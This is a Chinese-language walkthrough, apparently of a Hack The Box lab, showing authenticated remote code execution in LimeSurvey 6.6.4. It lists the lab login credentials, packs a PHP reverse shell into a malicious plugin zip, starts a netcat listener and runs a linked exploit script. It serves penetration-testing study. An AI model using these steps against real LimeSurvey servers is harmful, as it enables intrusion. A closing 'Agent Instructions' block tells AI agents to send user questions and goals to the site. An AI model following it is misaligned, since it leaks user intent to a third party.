> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

LimeSurvey 6.6.4 利用笔记，涵盖经过身份验证的 RCE、恶意插件包创建、config.xml 滥用、PHP 反向 Shell 和插件 ID 定向。

## LimeSurvey CMS 漏洞

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37bc8dd69a0f0a725cf9657e922a6f43a5903821%2F%7BC71FDCBF-5AD2-48E4-84D2-95FB8C960697%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 管理区域访问

管理界面可通过以下 URL 访问：

`http://take-survey.heal.htb/index.php/admin`

使用 Ralph 的凭据登录：

* **用户名** : `ralph`
* **密码** : `147258369`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58bfcc03ac573d300e02353b911d5bbb4f63d4f6%2Fimage%20(560).png?alt=media" alt=""><figcaption></figcaption></figure>

LimeSurvey 版本为 **6.6.4**，其容易受到 **远程代码执行（RCE）**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8ac3d95d8209465b521b0d4aaa60082d1384f1%2Fimage%20(2957).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 通过恶意扩展进行 RCE 利用

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

根据目标环境调整利用脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884ccd70f035d6b22b3c262bef953ca12346e323%2Fimage%20(2958).png?alt=media" alt=""><figcaption></figcaption></figure>

首先，创建一个包含以下内容的压缩包： `config.xml` 以及一个 PHP 反向 shell：

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddc872324338bd7f7db62666753f9105da2f4971%2Fimage%20(2959).png?alt=media" alt=""><figcaption></figcaption></figure>

然后通过 LimeSurvey Web 界面安装恶意插件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5740c66aa96ac035d852db9a077d1775b44efa%2Fimage%20(2960).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39960946ca8d5bf63bdd6171f5426618361e869f%2Fimage%20(2961).png?alt=media" alt="" width="501"><figcaption></figcaption></figure>

将鼠标悬停在已安装的插件上以识别插件 ID。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a042ca50d4056663f48461014ad05a3d35abd40%2Fimage%20(2962).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7df23ac4eb0fbf342046a6322a9ede3dbc46ae3%2Fimage%20(2963).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用该 ID 更新脚本后，在 443 端口启动监听器：

```bash
nc -nlvp 443
```

最后，使用 Python 运行利用脚本：

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afc2b54aa7a9a27599eaa3b92e41e846f94d5f0%2Fimage%20(2964).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
